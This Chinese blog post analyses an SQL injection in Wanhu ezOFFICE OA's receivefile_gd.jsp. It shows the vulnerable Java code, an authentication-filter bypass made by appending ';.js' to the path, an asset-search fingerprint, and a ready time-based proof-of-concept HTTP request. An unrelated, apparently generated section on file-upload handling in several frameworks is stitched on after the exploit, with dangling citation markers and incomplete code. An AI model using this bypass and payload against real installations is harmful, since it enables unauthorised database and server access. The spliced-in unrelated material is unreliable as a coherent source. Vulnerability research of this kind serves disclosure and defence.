oa中receivefile_gd存在SQL注入

万户oa中receivefile_gd存在SQL注入
简介
万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE receivefile gd.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可 获取服务器权限。

漏洞分析
首先进入到modules/govoffice/gov_documentmanager/receivefile_gd.jsp下
在这里插入图片描述
在105-111行有如下代码
java.util.Map myParaTmp = new java.util.HashMap();//创建一个HashMap数组
//依次接受请求中的recordId、tableId、processId、workId参数之后放入到数组中
myParaTmp.put(“recordId”,request.getParameter(“recordId”));
myParaTmp.put(“tableId”,request.getParameter(“tableId”));
myParaTmp.put(“processId”,request.getParameter(“processId”));
myParaTmp.put(“workId”,request.getParameter(“workId”));
com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD myUfbdTemp = new com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD();
myUfbdTemp.delWFOnlineUser(myParaTmp);//调用delWFOnlineUser方法进行数据库相关的删除操作
需要注意的是上述代码是在else语句中,需要满足gb参数为空才可以,代码如下
在这里插入图片描述
接着进入到WorkFlowButtonBD下的delWFOnlineUser方法中
该方法首先创建了一个ParameterGenerator对象pg,之后将参数para传入到pg中,接着就是创建了一个代理类EJBProxy对象用于访问名为WorkFlowButtonEJB的EJB组件,通过反射方式调用delWFOnlineUser方法

接着进入到com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean的delWFOnlineUser中
public void delWFOnlineUser(Map map) throws Exception {
begin();
try {
try {
this.stmt.execute(“delete from wf_onlineuser where recordId=” + map.get(“recordId”) + " and tableId=" + map.get(“tableId”) + " and processId=" + map.get(FormContants.WF_PROCESS_ID) + " and workId=" + map.get(“workId”));
end();
} catch (Exception e) {
System.out.println(“----------------------------------------------”);
e.printStackTrace();
System.out.println(“----------------------------------------------”);
throw e;
}
} catch (Throwable th) {
end();
throw th;
}
}

该方法就是获取map参数中recordId、tableId、FormContants.WF_PROCESS_ID、workId参数组成sql语句,之后直接调用stmt.execute方法执行sql语句,因为全程没有对sql语句进行任何敏感信息的过滤进而造成了sql

要注意的是在web.xml中会对所有的路由进行SetCharacterEncodingFilter类的过滤处理

在这里插入图片描述
进入SetCharacterEncodingFilter类中开始分析
在这里插入图片描述
首先就是rootPath获取到根目录

substring获取到整个路由

接着继续走,substring2获取到路由的后缀,当后缀名为.jspx时就会跳转到/defaultroot/login.jsp
在这里插入图片描述
当后缀匹配到如下后缀时会进行不同的重定向操作

(substring2.equals(“”) || substring2.equals(“.jsp”) || substring2.equals(“.vm”)) && this.needSecurity && substring.indexOf(“/evo/weixin/”) < 0 && substring.indexOf(“/portal/”) < 0 && substring.indexOf(“/upgrade/”) < 0 && substring.indexOf(“/public/edit/”) < 0 && !securityList.getNosessionWhiteList().contains(substring)
接着走,当请求体中有referer时,就会将取值赋值给str2,接下来就是根据z的取值以及后缀进行判断,当后缀名为.jsp;.js来访问时if结果就为false,不会直接return使得程序直接继续向下执行直到最后都没有重定向发操作直接访问到原始路由
在这里插入图片描述
因此在访问路由的时候加入;.js可以很好的绕过过滤

资产测绘
app=“万户ezOFFICE协同管理平台”
在这里插入图片描述
漏洞复现
poc
GET /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=1;waitfor+delay+‘0:0:6’–± HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml
在这里插入图片描述

### 服务器端处理 POST 请求接收文件 URL 并进行操作 在服务器端接收并处理通过 HTTP POST 请求上传的文件,通常涉及解析请求体中的数据,并将接收到的文件保存到指定位置。这一过程可以通过多种编程语言和框架实现,例如 Spring Boot、Python Flask、C# ASP.NET 或 Node.js Express 等。 #### 接收文件的基本流程 1. **接收 HTTP POST 请求** 当客户端发送一个包含文件的 POST 请求时,请求头中应包含 `Content-Type: multipart/form-data`,以表明这是一个文件上传请求。服务器端需要能够识别并解析这种格式的数据[^5]。 2. **解析请求体中的文件内容** 文件通常以二进制形式传输,并被封装在 multipart 表单字段中。服务器端需要解析这些字段,并提取出文件名、文件大小及实际内容。例如,在 Spring Boot 中可以使用 `MultipartFile` 来接收文件对象[^1]。 3. **存储文件** 提取文件后,服务器需要将其写入本地磁盘或远程存储系统(如云存储服务)。文件路径、权限设置以及重命名策略也应在该步骤中处理。 4. **返回响应** 处理完成后,服务器应返回适当的 HTTP 响应码(如 200 OK)以及可选的响应体,告知客户端上传是否成功。 #### 示例代码:Spring Boot 使用 MultipartFile 接收文件 ```java @RestController public class FileUploadController { @PostMapping("/upload") public ResponseEntity<String> handleFileUpload(@RequestParam("file") MultipartFile file) { if (file.isEmpty()) { return ResponseEntity.badRequest().body("File is empty"); } try { // 获取原始文件名 String originalFilename = file.getOriginalFilename(); // 构建目标路径 Path destinationPath = Paths.get("uploads/" + originalFilename); // 写入文件 Files.write(destinationPath, file.getBytes()); return ResponseEntity.ok("File uploaded successfully: " + originalFilename); } catch (IOException e) { return ResponseEntity.status(500).body("Failed to store file"); } } } ``` 此控制器方法接收名为 `file` 的表单字段,并将其内容写入服务器上的 `uploads/` 目录下[^1]。 #### 示例代码:Python Flask 接收文件 ```python from flask import Flask, request app = Flask(__name__) @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return 'No file part', 400 file = request.files['file'] if file.filename == '': return 'No selected file', 400 if file: filename = secure_filename(file.filename) file.save(os.path.join('uploads/', filename)) return f'File {filename} uploaded successfully', 200 ``` 此路由函数检查请求中是否存在文件,若存在则保存至 `uploads/` 目录,并使用 `secure_filename()` 防止路径遍历攻击[^2]。 #### 示例代码:Node.js Express 接收文件 使用 `multer` 中间件处理 multipart/form-data 格式: ```javascript const express = require('express'); const multer = require('multer'); const path = require('path'); const app = express(); const storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, 'uploads/'); }, filename: function (req, file, cb) { cb(null, Date.now() + '-' + file.originalname); } }); const upload = multer({ storage: storage }); app.post('/upload', upload.single('file'), (req, res) => { res.send('File uploaded successfully'); }); ``` 上述代码配置了文件存储路径与文件名生成规则,并通过中间件处理上传逻辑[^4]。 --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值